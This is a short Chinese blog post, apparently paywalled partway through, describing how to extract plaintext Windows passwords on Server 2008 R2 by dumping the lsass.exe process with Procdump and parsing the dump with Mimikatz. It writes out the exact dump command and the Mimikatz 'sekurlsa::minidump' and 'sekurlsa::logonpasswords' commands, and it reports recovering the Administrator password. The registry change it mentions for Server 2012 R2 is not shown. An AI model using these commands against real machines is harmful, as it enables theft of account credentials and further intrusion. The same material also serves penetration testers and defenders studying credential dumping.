本文介绍了如何在Server 2008 R2和Server 2012 R2上利用Procdump和Mimikatz工具抓取Windows系统的明文密码。在2008 R2中，直接使用工具成功获取了 Administrator 的密码，而在2012 R2中，由于系统安全增强，需要修改注册表后才能获取。详细步骤包括生成存储文件、修改注册表和执行Mimikatz命令。
Procdump+Mimikatz获取Windows明文密码
1、 测试环境
系统:
Server 2008 R2
Server 2012 R2
工具：
Procdump：https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
mimikatz：https://github.com/gentilkiwi/mimikatz/releases
2、 抓取密码
2.1 Server 2008 R2抓取
2.1.1 生成存储文件
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
2.1.2 mimiakatz密码获取
cmd运行mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
如图：成功抓取到Administrator密码明文
最低0.47元/天 解锁文章
扫一扫
1045
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
